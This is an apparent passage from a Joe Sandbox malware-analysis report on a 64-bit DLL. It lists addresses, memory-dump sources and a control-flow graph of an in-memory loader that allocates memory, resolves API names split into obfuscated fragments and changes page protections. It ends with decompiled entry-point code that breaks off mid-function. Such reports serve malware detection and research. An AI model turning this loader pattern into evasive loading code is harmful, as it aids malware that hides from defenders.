                                                                        0x1000f8af
                                                                        0x1000f8b7
                                                                        0x1000f8bf
                                                                        0x1000f8c7
                                                                        0x1000f8cf
                                                                        0x1000f8d7
                                                                        0x1000f8df
                                                                        0x1000f8e7
                                                                        0x1000f8ef
                                                                        0x1000f8f7
                                                                        0x1000f8ff
                                                                        0x1000f907
                                                                        0x1000f90f
                                                                        0x1000f917
                                                                        0x1000f91f
                                                                        0x1000f927
                                                                        0x1000f92f
                                                                        0x1000f937
                                                                        0x1000f93f
                                                                        0x1000f947
                                                                        0x1000f94f
                                                                        0x1000f957
                                                                        0x1000f95f
                                                                        0x1000f967
                                                                        0x1000f96f
                                                                        0x1000f977
                                                                        0x1000f97f
                                                                        0x1000f987
                                                                        0x1000f98f
                                                                        0x1000f997
                                                                        0x1000f99f
                                                                        0x1000f9a7
                                                                        0x1000f9af
                                                                        0x1000f9b7
                                                                        0x1000f9bf
                                                                        0x1000f9c7
                                                                        0x1000f9cf
                                                                        0x1000f9d7
                                                                        0x1000f9df
                                                                        0x1000f9e7
                                                                        0x1000f9ef
                                                                        0x1000f9f7
                                                                        0x1000f9ff
                                                                        0x1000fa07
                                                                        0x1000fa0f
                                                                        0x1000fa17
                                                                        0x1000fa1f
                                                                        0x1000fa27
                                                                        0x1000fa2f
                                                                        0x1000fa37
                                                                        0x1000fa3f
                                                                        0x1000fa47
                                                                        0x1000fa4f
                                                                        0x1000fa57
                                                                        0x1000fa5f
                                                                        0x1000fa67
                                                                        0x1000fa6f
                                                                        0x1000fa77
                                                                        0x1000fa7f
                                                                        0x1000fa87
                                                                        0x1000fa8f
                                                                        0x1000fa97
                                                                        0x1000fa9f
                                                                        0x1000faa7
                                                                        0x1000faaf
                                                                        0x1000fab7
                                                                        0x1000fabf
                                                                        0x1000fac7
                                                                        0x1000facf
                                                                        0x1000fad7
                                                                        0x1000fadf
                                                                        0x1000fae7
                                                                        0x1000faef
                                                                        0x1000faf7
                                                                        0x1000faff
                                                                        0x1000fb07
                                                                        0x1000fb0f
                                                                        0x1000fb17
                                                                        0x1000fb1f
                                                                        0x1000fb27
                                                                        0x1000fb2f
                                                                        0x1000fb37
                                                                        0x1000fb3f
                                                                        0x1000fb47
                                                                        0x1000fb4f
                                                                        0x1000fb57
                                                                        0x1000fb5f
                                                                        0x1000fb67
                                                                        0x1000fb6f
                                                                        0x1000fb77
                                                                        0x1000fb7f
                                                                        0x1000fb87
                                                                        0x1000fb8f
                                                                        0x1000fb97
                                                                        0x1000fb9f
                                                                        0x1000fba7
                                                                        0x1000fbaf
                                                                        0x1000fbb7
                                                                        0x1000fbbf
                                                                        0x1000fbc7
                                                                        0x1000fbcf
                                                                        0x1000fbd7
                                                                        0x1000fbdf
                                                                        0x1000fbe7
                                                                        0x1000fbef
                                                                        0x1000fbf6
                                                                        0x1000fbfb
                                                                        0x1000fc02
                                                                        0x1000fc05
                                                                        0x1000fc08
                                                                        0x1000fc0e
                                                                        0x1000fc14
                                                                        0x1000fc1b
                                                                        0x1000fc23
                                                                        0x1000fc2c
                                                                        0x1000fc31
                                                                        0x1000fc36
                                                                        0x1000fc46
                                                                        0x1000fc4b
                                                                        0x1000fc51
                                                                        0x1000fc5a
                                                                        0x1000fc63
                                                                        0x1000fc74
                                                                        0x1000fca6
                                                                        0x1000fca6
                                                                        0x1000fcb2
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x1000fcbc
                                                                        0x1000fcc4
                                                                        0x1000fc8a
                                                                        0x1000fc9a
                                                                        0x1000fc9a
                                                                        0x1000fc9e
                                                                        0x1000fc9e
                                                                        0x1000fccd
                                                                        0x1000fcdd
                                                                        0x1000fce7
                                                                        0x1000fcef
                                                                        0x1000fcfa
                                                                        0x1000fd04
                                                                        0x1000fd0e
                                                                        0x1000fd18
                                                                        0x1000fd22
                                                                        0x1000fd2c
                                                                        0x1000fd3b
                                                                        0x1000fd41
                                                                        0x1000fd4c
                                                                        0x1000fd52
                                                                        0x1000fd5a
                                                                        0x1000fd69
                                                                        0x1000fd75
                                                                        0x1000fd7c
                                                                        0x1000fd87
                                                                        0x1000fd8f
                                                                        0x1000fd96
                                                                        0x1000fda1
                                                                        0x1000fdac
                                                                        0x1000fdb7
                                                                        0x1000fde6
                                                                        0x1000fde6
                                                                        0x1000fe00
                                                                        0x1000fe0d
                                                                        0x1000fe13
                                                                        0x1000fe27
                                                                        0x1000fe3d
                                                                        0x1000fe52
                                                                        0x1000fe6f
                                                                        0x1000fe75
                                                                        0x1000fe96
                                                                        0x1000fe9d
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100100da
                                                                        0x100100e8
                                                                        0x1001010b
                                                                        0x1001011c
                                                                        0x1001012b
                                                                        0x10010138
                                                                        0x1001013f
                                                                        0x10010149
                                                                        0x10010164
                                                                        0x10010179
                                                                        0x1001018f
                                                                        0x100101a3
                                                                        0x100101aa
                                                                        0x100101b4
                                                                        0x100101c3
                                                                        0x100101d8
                                                                        0x10010200
                                                                        0x1001020f
                                                                        0x1001021c
                                                                        0x10010223
                                                                        0x1001022d
                                                                        0x10010248
                                                                        0x1001025d
                                                                        0x10010273
                                                                        0x10010287
                                                                        0x1001028e
                                                                        0x10010298
                                                                        0x100102a7
                                                                        0x100102bc
                                                                        0x100102e4
                                                                        0x100102f3
                                                                        0x10010300
                                                                        0x10010307
                                                                        0x10010311
                                                                        0x1001032c
                                                                        0x10010341
                                                                        0x10010357
                                                                        0x1001036b
                                                                        0x10010372
                                                                        0x1001037c
                                                                        0x1001038b
                                                                        0x100103a0
                                                                        0x100103cd
                                                                        0x1000fdce
                                                                        0x1000fddc
                                                                        0x1000fddc
                                                                        0x1000fddf
                                                                        0x1000fddf
                                                                        0x100103dc
                                                                        0x100103e3
                                                                        0x100103eb
                                                                        0x00000000
                                                                        0x100103f1
                                                                        0x100103f1
                                                                        0x100103fc
                                                                        0x10010409
                                                                        0x1001040e
                                                                        0x10010416
                                                                        0x1001041c
                                                                        0x1001041e
                                                                        0x1001048c
                                                                        0x10010492
                                                                        0x10010494
                                                                        0x100104b5
                                                                        0x100104b5
                                                                        0x100104ba
                                                                        0x10010496
                                                                        0x1001049c
                                                                        0x1001049c
                                                                        0x100104c8
                                                                        0x100104cf
                                                                        0x100104d6
                                                                        0x10010420
                                                                        0x10010420
                                                                        0x1001042d
                                                                        0x10010432
                                                                        0x1001043a
                                                                        0x10010440
                                                                        0x10010442
                                                                        0x00000000
                                                                        0x10010444
                                                                        0x10010444
                                                                        0x10010451
                                                                        0x10010456
                                                                        0x1001045e
                                                                        0x10010464
                                                                        0x10010466
                                                                        0x00000000
                                                                        0x10010468
                                                                        0x10010468
                                                                        0x1001046e
                                                                        0x10010475
                                                                        0x1001047a
                                                                        0x10010488
                                                                        0x1001048a
                                                                        0x100104ec
                                                                        0x100104f1
                                                                        0x100104f9
                                                                        0x10010502
                                                                        0x10010523
                                                                        0x10010504
                                                                        0x1001050c
                                                                        0x10010514
                                                                        0x10010519
                                                                        0x10010519
                                                                        0x10010537
                                                                        0x1001053f
                                                                        0x10010547
                                                                        0x1001054e
                                                                        0x10010556
                                                                        0x100105c2
                                                                        0x100105ca
                                                                        0x100105d2
                                                                        0x100105d4
                                                                        0x100105ee
                                                                        0x100105f4
                                                                        0x100105f6
                                                                        0x10010617
                                                                        0x10010617
                                                                        0x1001061c
                                                                        0x100105f8
                                                                        0x100105fe
                                                                        0x100105fe
                                                                        0x1001062a
                                                                        0x10010631
                                                                        0x10010638
                                                                        0x100105d6
                                                                        0x100105d6
                                                                        0x100105dd
                                                                        0x100105e5
                                                                        0x100105ea
                                                                        0x100105ec
                                                                        0x1001064e
                                                                        0x10010656
                                                                        0x1001065c
                                                                        0x10010664
                                                                        0x1001066d
                                                                        0x100106ca
                                                                        0x100106ca
                                                                        0x100106cd
                                                                        0x100106da
                                                                        0x100106e0
                                                                        0x100106e2
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100106f3
                                                                        0x100106f9
                                                                        0x100106fb
                                                                        0x1001070e
                                                                        0x10010714
                                                                        0x10010716
                                                                        0x1001071a
                                                                        0x10010732
                                                                        0x10010738
                                                                        0x1001073a
                                                                        0x10010744
                                                                        0x10010752
                                                                        0x10010752
                                                                        0x00000000
                                                                        0x10010718
                                                                        0x00000000
                                                                        0x100106fd
                                                                        0x00000000
                                                                        0x100107af
                                                                        0x100107af
                                                                        0x100107b2
                                                                        0x100107bc
                                                                        0x100107be
                                                                        0x00000000
                                                                        0x100107c4
                                                                        0x10010764
                                                                        0x1001076c
                                                                        0x10010774
                                                                        0x1001077c
                                                                        0x10010785
                                                                        0x100107a3
                                                                        0x10010787
                                                                        0x10010794
                                                                        0x10010799
                                                                        0x10010799
                                                                        0x00000000
                                                                        0x1001066f
                                                                        0x10010675
                                                                        0x10010677
                                                                        0x10010698
                                                                        0x10010698
                                                                        0x1001069d
                                                                        0x10010679
                                                                        0x1001067f
                                                                        0x1001067f
                                                                        0x100106ab
                                                                        0x100106b2
                                                                        0x100106b9
                                                                        0x100106be
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100105ec
                                                                        0x10010558
                                                                        0x1001055f
                                                                        0x10010567
                                                                        0x1001056f
                                                                        0x10010577
                                                                        0x10010580
                                                                        0x1001059e
                                                                        0x10010582
                                                                        0x10010582
                                                                        0x10010587
                                                                        0x1001058f
                                                                        0x10010594
                                                                        0x10010594
                                                                        0x100105aa
                                                                        0x100105b1
                                                                        0x100105b6
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x1001048a
                                                                        0x10010466
                                                                        0x10010442
                                                                        0x1001041e
                                                                        0x1000fcf1
                                                                        0x1000fcf1
                                                                        0x1000fc53
                                                                        0x1000fc53
                                                                        0x1000fc25
                                                                        0x1000fc25
                                                                        0x10009f5f
                                                                        0x100107c8
                                                                        0x100107c8
                                                                        0x100107cd
                                                                        0x100107e4

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$"$"$"$"$"$"$"$"$"$"$"$"$#$#$#$#$#$#$#$#$#$#$#$#$#$#$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$'$'$'$'$'$'$'$'$'$'$'$'$'$'$'$'$'$'$'$($($($($($($($($($($($($($($($($($($($($($($($)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$+$+$+$+$+$+$+$+$+$+$+$+$+$+$+$+$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$-$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$/$/$/$/$/$/$/$/$0$0$0$0$0$0$0$0$0$0$0$0$0$0$0$0$0$0$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$2$2$2$2$2$2$2$2$2$2$2$3$3$3$3$3$3$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$456672231$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$6$6$6$6$6$6$6$6$6$6$6$6$6$6$6$6$6$7$7$7$7$8$8$8$8$8$8$8$8$8$8$8$8$8$9$9$9$9$9$9$9$9$9$9$9$:$:$:$:$:$:$:$:$:$:$:$;$;$;$;$;$<$<$<$<$<$<$<$<$<$<$<$<$<$<$<$<$<$<$<$<$<$<$<$<$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$=$>$>$>$>$>$>$>$>$>$>$>$>$>$>$>$>$>$>$>$?$?$?$?$?$?$?$?$?$?$?$?$@$@$@$@$@$@$@$@$@$@$A$A$A$A$A$A$A$A$A$A$A$A$A$A$A$A$B$B$B$B$B$B$B$B$B$B$B$B$C$C$C$C$C$C$C$C$C$C$C$C$D$D$D$D$D$D$D$E$E$E$E$E$E$E$E$E$E$E$E$E$F$F$F$F$F$F$F$F$F$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$H$H$H$H$H$H$H$H$H$H$H$H$H$H$H$H$H$H$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$J$J$J$J$J$J$J$J$J$J$J$J$J$J$K$K$K$K$K$K$K$K$K$K$K$L$L$L$L$L$L$L$L$L$L$L$L$L$L$L$L$L$L$M$M$M$M$M$M$M$M$M$M$M$M$N$N$N$N$N$N$N$O$O$O$O$O$O$O$O$O$O$O$O$P$P$P$P$P$P$P$P$P$P$P$P$P$P$P$P$P$Q$Q$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$R$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$T$T$T$T$T$T$T$T$T$T$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$V$V$V$V$V$V$V$W$W$W$W$W$W$X$X$X$X$X$X$X$X$X$X$X$X$X$X$X$Y$Y$Y$Y$Y$Y$Y$Y$Y$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$[$[$[$[$[$[$[$[$[$[$[$[$\$\$\$\$\$\$\$\$]$]$]$]$]$]$]$]$]$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$_$_$_$_$_$`$`$`$`$`$`$`$`$`$`$`$`$`$`$`$`$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$b$b$b$b$b$b$b$b$b$b$b$b$b$c$c$c$c$c$c$c$c$c$c$c$c$c$c$c$c$d$d$d$d$d$d$d$d$d$d$d$d$d$d$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$g$g$g$g$g$g$g$h$h$h$h$h$h$h$h$h$h$h$h$h$h$h$h$h$h$h$h$h$h$h$h$h$hSik4o>60zWiGIx*4JyLt)j)%RbUHeX$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$k$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$m$n$n$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$p$p$p$p$p$p$p$p$p$q$q$q$q$q$q$q$q$q$q$q$q$q$q$q$q$q$q$q$q$q$q$q$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$s$s$s$s$s$s$s$s$s$s$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$u$u$u$u$u$u$u$u$u$u$u$u$u$u$u$u$u$u$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$w$w$w$w$w$w$w$w$w$w$w$w$w$w$w$w$w$w$w$w$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$y$y$y$y$y$y$y$y$y$y$y$y$y$y$y$y$z$z$z$z$z$z$z$z$z$z$z$z$z$z$z$z${${${${${${${${${${${${${$|$|$|$|$|$|$|$|$|$|$|$|$|$|$|$|$|$}$}$}$~$~$~$~$~$~$~
                                                                        • API String ID: 0-2006441924
                                                                        • Opcode ID: 81b8d15459750373d9124129b0a77201c72473bd9fa5af1a0c7ceeeb9c44e734
                                                                        • Instruction ID: 099d3aa4e60cf05cdcab791b574ab04c41b804eddaec57389fcb190e5c9ffe3b
                                                                        • Opcode Fuzzy Hash: 81b8d15459750373d9124129b0a77201c72473bd9fa5af1a0c7ceeeb9c44e734
                                                                        • Instruction Fuzzy Hash: E8D37B1250D7C1C9E332C73CB45878FBE9193A7318F484299D3E41AADAC7AE8159CF66
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000001E200000000 Relevance: 76.3, APIs: 5, Strings: 38, Instructions: 1094memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 89 1e200000000-1e200000460 call 1e200000aa8 * 2 VirtualAlloc 111 1e200000462-1e200000466 89->111 112 1e20000048a-1e200000494 89->112 113 1e200000468-1e200000488 111->113 115 1e20000049a-1e20000049e 112->115 116 1e200000a91-1e200000aa6 112->116 113->112 113->113 115->116 117 1e2000004a4-1e2000004a8 115->117 117->116 118 1e2000004ae-1e2000004b2 117->118 118->116 119 1e2000004b8-1e2000004bf 118->119 119->116 120 1e2000004c5-1e2000004d2 119->120 120->116 121 1e2000004d8-1e2000004e1 120->121 121->116 122 1e2000004e7-1e2000004f4 121->122 122->116 123 1e2000004fa-1e200000507 122->123 124 1e200000509-1e200000511 123->124 125 1e200000531-1e200000567 GetNativeSystemInfo 123->125 126 1e200000513-1e200000518 124->126 125->116 127 1e20000056d-1e200000589 VirtualAlloc 125->127 128 1e20000051a-1e20000051f 126->128 129 1e200000521 126->129 130 1e20000058b-1e20000059e 127->130 131 1e2000005a0-1e2000005ac 127->131 133 1e200000523-1e20000052f 128->133 129->133 130->131 132 1e2000005af-1e2000005b2 131->132 134 1e2000005b4-1e2000005bf 132->134 135 1e2000005c1-1e2000005db 132->135 133->125 133->126 134->132 137 1e20000061b-1e200000622 135->137 138 1e2000005dd-1e2000005e2 135->138 140 1e200000628-1e20000062f 137->140 141 1e2000006db-1e2000006e2 137->141 139 1e2000005e4-1e2000005ea 138->139 142 1e20000060b-1e200000619 139->142 143 1e2000005ec-1e200000609 139->143 140->141 144 1e200000635-1e200000642 140->144 145 1e200000864-1e20000086b 141->145 146 1e2000006e8-1e2000006f9 141->146 142->137 142->139 143->142 143->143 144->141 149 1e200000648-1e20000064f 144->149 147 1e200000917-1e200000929 145->147 148 1e200000871-1e20000087f 145->148 150 1e200000702-1e200000705 146->150 151 1e200000a07-1e200000a1a 147->151 152 1e20000092f-1e200000937 147->152 153 1e20000090e-1e200000911 148->153 154 1e200000654-1e200000658 149->154 155 1e200000707-1e20000070a 150->155 156 1e2000006fb-1e2000006ff 150->156 170 1e200000a1c-1e200000a27 151->170 171 1e200000a40-1e200000a4a 151->171 158 1e20000093b-1e20000093f 152->158 153->147 157 1e200000884-1e2000008a9 153->157 159 1e2000006c0-1e2000006ca 154->159 160 1e200000788-1e20000078e 155->160 161 1e20000070c-1e20000071d 155->161 156->150 186 1e200000907-1e20000090c 157->186 187 1e2000008ab-1e2000008b1 157->187 166 1e200000945-1e20000095a 158->166 167 1e2000009ec-1e2000009fa 158->167 164 1e20000065a-1e200000669 159->164 165 1e2000006cc-1e2000006d2 159->165 163 1e200000794-1e2000007a2 160->163 161->163 168 1e20000071f-1e200000720 161->168 172 1e2000007a8 163->172 173 1e20000085d-1e20000085e 163->173 178 1e20000067a-1e20000067e 164->178 179 1e20000066b-1e200000678 164->179 165->154 174 1e2000006d4-1e2000006d5 165->174 176 1e20000097b-1e20000097d 166->176 177 1e20000095c-1e20000095e 166->177 167->158 180 1e200000a00-1e200000a01 167->180 169 1e200000722-1e200000784 168->169 169->169 181 1e200000786 169->181 182 1e200000a38-1e200000a3e 170->182 184 1e200000a7b-1e200000a8e 171->184 185 1e200000a4c-1e200000a54 171->185 183 1e2000007ae-1e2000007d4 172->183 173->145 174->141 191 1e2000009a2-1e2000009a4 176->191 192 1e20000097f-1e200000981 176->192 188 1e20000096e-1e200000979 177->188 189 1e200000960-1e20000096c 177->189 193 1e20000068c-1e200000690 178->193 194 1e200000680-1e20000068a 178->194 190 1e2000006bd-1e2000006be 179->190 180->151 181->163 182->171 204 1e200000a29-1e200000a35 182->204 220 1e200000835-1e200000839 183->220 221 1e2000007d6-1e2000007d9 183->221 184->116 185->184 205 1e200000a56-1e200000a79 RtlAddFunctionTable 185->205 186->153 202 1e2000008b3-1e2000008b9 187->202 203 1e2000008bb-1e2000008c8 187->203 206 1e2000009be-1e2000009bf 188->206 189->206 190->159 200 1e2000009a6-1e2000009aa 191->200 201 1e2000009ac-1e2000009bb 191->201 195 1e200000983-1e200000987 192->195 196 1e200000989-1e20000098b 192->196 198 1e200000692-1e2000006a3 193->198 199 1e2000006a5-1e2000006a9 193->199 197 1e2000006b6-1e2000006ba 194->197 195->206 196->191 207 1e20000098d-1e20000098f 196->207 197->190 198->197 199->190 208 1e2000006ab-1e2000006b3 199->208 200->206 201->206 210 1e2000008ea-1e2000008fe 202->210 211 1e2000008d3-1e2000008e5 203->211 212 1e2000008ca-1e2000008d1 203->212 204->182 205->184 209 1e2000009c5-1e2000009cb 206->209 215 1e200000999-1e2000009a0 207->215 216 1e200000991-1e200000997 207->216 208->197 217 1e2000009d9-1e2000009e9 VirtualProtect 209->217 218 1e2000009cd-1e2000009d3 209->218 210->186 228 1e200000900-1e200000905 210->228 211->210 212->211 212->212 215->209 216->206 217->167 218->217 222 1e200000844-1e200000850 220->222 223 1e20000083b 220->223 225 1e2000007e3-1e2000007f0 221->225 226 1e2000007db-1e2000007e1 221->226 222->183 227 1e200000856-1e200000857 222->227 223->222 230 1e2000007f2-1e2000007f9 225->230 231 1e2000007fb-1e20000080d 225->231 229 1e200000812-1e20000082c 226->229 227->173 228->187 229->220 233 1e20000082e-1e200000833 229->233 230->230 230->231 231->229 233->221
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492625080.000001E200000000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001E200000000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_1e200000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: Virtual$Alloc$FunctionInfoNativeProtectSystemTable
                                                                        • String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
                                                                        • API String ID: 394283112-2517549848
                                                                        • Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction ID: 908d4b5c59817ad6cf807e3aab1d640bdbdfc49ffbc10cae7f70d282323fc7b7
                                                                        • Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction Fuzzy Hash: C972E930618B888BE759DF18C855BFDB7E6FB94305F10462DE88AC3291DB78D641CB85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10001500 Relevance: 15.2, APIs: 10, Instructions: 150memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 234 10001500-1000150f 235 10001515-10001532 GetProcessHeap HeapAlloc 234->235 236 10001676-10001678 234->236 239 10001534-10001545 GetVersionExA 235->239 240 1000155b-10001566 235->240 237 100016c3-100016c6 236->237 238 1000167a-10001682 236->238 242 10001738-1000173b 237->242 243 100016c8-100016e2 call 10002c40 call 10003210 237->243 238->240 241 10001688-10001697 238->241 244 10001567-100015a6 GetProcessHeap HeapFree 239->244 245 10001547-10001555 GetProcessHeap HeapFree 239->245 248 10001699 call 10001de0 241->248 249 1000169e-100016a1 241->249 250 10001744-10001752 242->250 251 1000173d-1000173f call 10003070 242->251 243->240 264 100016e8-100016f9 FlsSetValue 243->264 246 100015a8 244->246 247 100015ac-100015f2 call 10002190 244->247 245->240 246->247 247->240 262 100015f8-100015ff call 100030d0 247->262 248->249 249->250 256 100016a7-100016c2 call 100036a0 call 10002c50 call 100021f0 249->256 251->250 273 10001601-10001626 call 10003df0 GetCommandLineA call 10003c00 call 10003350 262->273 274 10001665-10001675 call 100021f0 262->274 267 10001724-10001737 call 10001140 264->267 268 100016fb-10001723 call 10002ca0 GetCurrentThreadId 264->268 287 10001660 call 10002c50 273->287 288 10001628-1000162f call 10003af0 273->288 287->274 292 10001631-10001638 call 10003730 288->292 293 1000165b call 100036a0 288->293 292->293 297 1000163a-1000163c call 10001bc0 292->297 293->287 299 10001641-10001643 297->299 299->293 300 10001645-1000165a 299->300
                                                                        C-Code - Quality: 49%
                                                                        			E10001500(void* __ebx, long* __edx, long* __rax, long long __rbx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, intOrPtr __r8, long long __r12, long long _a32) {
				long long _v8;
				long long _v16;
				long long _v24;
				long long _v32;
				void* _t23;
				intOrPtr _t27;
				long _t32;
				intOrPtr _t34;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t56;
				intOrPtr _t58;
				intOrPtr _t60;
				intOrPtr _t61;
				void* _t65;
				signed int _t78;
				signed int _t79;
				long _t80;
				long* _t90;
				void* _t98;
				long* _t103;
				long* _t106;
				intOrPtr _t108;
				intOrPtr _t110;
				intOrPtr _t112;
				long* _t114;
				void* _t116;
				intOrPtr _t118;
				void* _t119;
				void* _t120;
				void* _t121;

				_t117 = __r12;
				_t111 = __rbp;
				_t109 = __rsi;
				_t107 = __rdi;
				_t105 = __rdx;
				_t86 = __rax;
				_t71 = __edx;
				_t65 = __ebx;
				_a32 = __rbx;
				_t88 = __r8;
				if(__edx != 1) {
					__eflags = __edx;
					if(__edx != 0) {
						__eflags = __edx - 2;
						if(__edx != 2) {
							__eflags = __edx - 3;
							if(__edx == 3) {
								__eflags = 0;
								E10003070(__rax, _t98);
							}
							goto L30;
						} else {
							E10002C40(_t23);
							_t27 = E10003210(__rax, __r8, _t98, __rdx, __rdi, __rsi, __rbp, __r12);
							__eflags = _t86;
							_t90 = _t86;
							if(_t86 == 0) {
								goto L4;
							} else {
								_t106 = _t86;
								__imp__FlsSetValue();
								__eflags = _t27;
								if(_t27 == 0) {
									E10001140(_t86, _t90);
									__eflags = 0;
									return 0;
								} else {
									__eflags = 0;
									E10002CA0(_t86, _t90, _t90, _t106, _t107, _t109);
									_t32 = GetCurrentThreadId();
									_t90[2] = 0xffffffff;
									 *_t90 = _t32;
									return 1;
								}
							}
						}
					} else {
						_t34 =  *0x10017180; // 0x0
						__eflags = _t34;
						if(_t34 <= 0) {
							goto L4;
						} else {
							__eflags =  *0x10017770 - _t71; // 0x1
							 *0x10017180 = _t34 - 1;
							if(__eflags == 0) {
								E10001DE0(__rax, __r8, __rdx, __rdi, __rsi, __r12); // executed
							}
							__eflags = _t88;
							if(_t88 != 0) {
								L30:
								return 1;
							} else {
								E100036A0(_t88, _t107, _t109, _t111);
								E10002C50(_t88, _t107, _t109, _t111, _t117);
								E100021F0();
								return _t88 + 1;
							}
						}
					}
				} else {
					GetProcessHeap();
					r8d = 0x94;
					HeapAlloc(??, ??, ??);
					_t95 = __rax;
					if(__rax == 0) {
						L4:
						return 0;
					} else {
						 *__rax = 0x94;
						if(GetVersionExA(??) != 0) {
							_v8 = __rbp;
							_t80 = __rax[2];
							_v16 = __rsi;
							_t79 = __rax[1];
							_v24 = __rdi;
							_v32 = __r12;
							r12d = __rax[4];
							_t78 = __rax[3] & 0x00007fff;
							GetProcessHeap();
							_t114 = __rax;
							_t103 = __rax;
							HeapFree(??, ??, ??);
							__eflags = r12d - 2;
							if(r12d != 2) {
								asm("bts edi, 0xf");
							}
							 *0x10017714 = r12d;
							 *0x10017720 = _t79;
							 *0x10017724 = _t80;
							 *0x10017718 = _t78;
							 *0x1001771c = (_t79 << 8) + _t80; // executed
							_t49 = E10002190(1, _t86); // executed
							_t118 = _v32;
							__eflags = _t49;
							_t108 = _v24;
							_t110 = _v16;
							_t112 = _v8;
							if(__eflags == 0) {
								goto L4;
							} else {
								_t50 = E100030D0(0, __eflags, _t86, _t103, _t105, _t108, _t110, _t118, _t119); // executed
								__eflags = _t50;
								if(_t50 == 0) {
									L16:
									E100021F0();
									__eflags = 0;
									return 0;
								} else {
									E10003DF0(_t95, _t108);
									GetCommandLineA();
									 *0x10018870 = _t86;
									E10003C00(_t65, _t80, _t86, _t95, _t108, _t110, _t112, _t118);
									 *0x10017188 = _t86; // executed
									_t56 = E10003350(_t78, _t95, _t105, _t108, _t110, _t112, _t114, _t118, _t119, _t120, _t121); // executed
									__eflags = _t56;
									if(_t56 < 0) {
										L15:
										E10002C50(_t95, _t108, _t110, _t112, _t118);
										goto L16;
									} else {
